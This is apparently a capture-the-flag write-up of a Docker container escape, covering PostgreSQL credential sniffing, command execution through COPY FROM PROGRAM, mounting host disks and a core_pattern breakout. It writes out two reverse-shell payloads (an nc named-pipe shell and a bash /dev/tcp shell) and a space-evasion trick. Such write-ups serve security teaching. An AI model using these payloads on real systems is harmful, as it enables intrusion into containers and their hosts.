Contain Me If You Can

Challenge Description

A container escape challenge where we need to break out of a Docker container and gain access to the host system.

Table of Contents

Solution Overview

This challenge demonstrates a multi-stage container escape attack:

  1. Network Reconnaissance - Discovered PostgreSQL database connection through network analysis

  2. Credential Sniffing - Captured plaintext PostgreSQL credentials by killing and monitoring connection re-establishment

  3. RCE via PostgreSQL - Exploited superuser privileges to achieve command execution using COPY FROM PROGRAM

  4. Container-to-Container Pivot - Escaped from initial container to PostgreSQL container with root access

  5. Host Escape - Leveraged mounted /dev devices to access host filesystem and execute code on host via core_pattern breakout

Key Vulnerability: Privileged container with access to host devices (/dev/vda, /dev/vdb) and writable kernel interfaces (/proc/sys/kernel/core_pattern) allowed complete container escape and host compromise.

Initial Analysis

Container Environment Discovery

During initial enumeration, we discovered a .dockerenv file indicating we are inside a Docker container. However, the docker binary itself is not present in the container

Attempting to locate Docker sockets yielded no results.

Key findings:

  • Container environment confirmed (.dockerenv present)

  • No Docker binary available

  • No accessible Docker sockets

Automated Enumeration with Linpeas

To search for potential container escape vectors, we ran linpeas for automated privilege escalation enumeration.

The linpeas output didn't reveal any immediate automated escape paths. Additional process monitoring with pspy showed a sleep infinity command running on PID=1, but nothing particularly interesting.

Network Analysis

Checking active network connections revealed an established connection to 172.19.0.2 on port 5432.

Network findings:

  • Target: 172.19.0.2:5432 (PostgreSQL default port)

  • Our IP: 172.19.0.3 (default Docker network range)

  • Both IPs in the same Docker network

Security Note: PostgreSQL typically uses plaintext TCP connections on port 5432 by default, making credentials vulnerable to network sniffing within the same network segment.


Main Exploitation

Sniffing PostgreSQL Credentials

Since PostgreSQL connections on port 5432 typically use unencrypted TCP, we can capture network traffic to potentially leak credentials.

Step 1: Capture network traffic

Analysis:

The connection was already established, running SELECT now(); statements. This query returns the current date and time, typically used for health checks.

Step 2: Force authentication handshake

Since the connection is already established, we need to kill it to force a re-authentication where credentials will be transmitted in plaintext.

After killing the connection, we re-ran tcpdump to capture the authentication handshake.

Success! Captured credentials:

PostgreSQL Authentication and Privilege Discovery

With the captured credentials, we can now authenticate to the PostgreSQL server using the psql client.

Step 1: Enumerate database tables

Output:

The tables appear to be standard system tables. However, notably our user owns all tables.

Step 2: Check user privileges

Critical finding: We are authenticated as a superuser (equivalent to root for PostgreSQL)!

Achieving RCE on PostgreSQL Container

With superuser privileges, we can leverage PostgreSQL's built-in functions for file operations and command execution.

Testing file read capabilities

Referring to PayloadsAllTheThingsarrow-up-right, we can use pg_read_file to read local files.

Analysis:

Attempting to read /etc/shadow or /flag returns errors - permission denied and file not found respectively.

This confirms we are inside another container (the PostgreSQL container), not the host machine. We need to achieve command execution to further enumerate and escape.

Achieving command execution with COPY FROM PROGRAM

Still referencing PayloadsAllTheThingsarrow-up-right, we can use COPY FROM PROGRAM to execute arbitrary commands.

Step 1: Set up reverse shell listener

We used ngrok and nc to set up a tunnel to catch the reverse shell.

Step 2: Execute reverse shell payload

Payload explained:

  • rm /tmp/f - Remove existing named pipe if present

  • mkfifo /tmp/f - Create named pipe for bidirectional communication

  • cat /tmp/f|sh -i 2>&1|nc 172.19.0.3 4444 >/tmp/f - Create reverse shell to our listener

Success!

We now have a shell on the PostgreSQL container!

Privilege Escalation within PostgreSQL Container

Step 1: Enumerate the container

During basic enumeration, we discovered a backup.sh script.

The script performs hourly PostgreSQL database dumps, running as the root user.

Step 2: Check sudo privileges

Output:

We can escalate to root within the PostgreSQL container trivially using sudo su.

Docker Escape via Device Mounting

Despite having root access in the PostgreSQL container, we are still containerized. Let's run linpeas again to identify escape vectors.

Key finding: The /dev directory is mounted with access to host devices!

Enumerating available devices

We can see vda and vdb devices available. Let's attempt to mount these to access the host filesystem.

Step 1: Mount the host device

Success! The vda device contains the Docker host's underlying filesystem.

Step 2: Read the flag from host

We successfully retrieved the flag! However, we still don't have command execution on the host. Linpeas identified two additional escape techniques:

  • core_pattern breakout

  • uevent_helper breakout

Alternative Escape: Uevent Helper (Attempted)

We attempted the uevent_helper escape technique documented on HackTricksarrow-up-right.

Payload:

Note: Due to ngrok tunnel limitations (single tunnel), we installed tmux for multi-tab support, avoiding the need for multiple tunnels.

Unfortunately, this technique didn't successfully provide a reverse shell. We moved on to the core_pattern technique.

Alternative Escape: Core Pattern Technique

The core_pattern breakout is well-documented in this Wiz articlearrow-up-right. This technique exploits the kernel's core dump handler to execute arbitrary code on the host.

Step 1: Overwrite core_pattern with reverse shell payload

Payload breakdown:

  • /proc/sys/kernel/core_pattern - Kernel parameter defining what happens when a process crashes

  • The payload is base64 encoded: /bin/bash -i>& /dev/tcp/172.19.0.3/4445 0>&1

  • ${IFS%%??} - Bash variable expansion trick to insert space without using space character

Step 2: Trigger a crash to execute the payload

From the PostgreSQL container, trigger a segmentation fault:

Parameters explained:

  • kill -11 - Sends SIGSEGV (segmentation fault) signal

  • $$ - Current process ID


Getting the Flag

Success! We caught a reverse shell from the host system.

Summary:

  1. The PostgreSQL container runs with excessive privileges (access to /dev and /proc/sys/kernel)

  2. Mounting /dev/vda gave us read access to the host filesystem, allowing us to retrieve the flag directly

  3. The writable /proc/sys/kernel/core_pattern allowed us to hijack the kernel's crash handler

  4. When a process crashes, the kernel executes our malicious payload on the host (not in the container)

  5. This grants us a full reverse shell with host-level access

Flag: WIZ_CTF{how_the_tables_have_turned_guests_to_hosts}

Last updated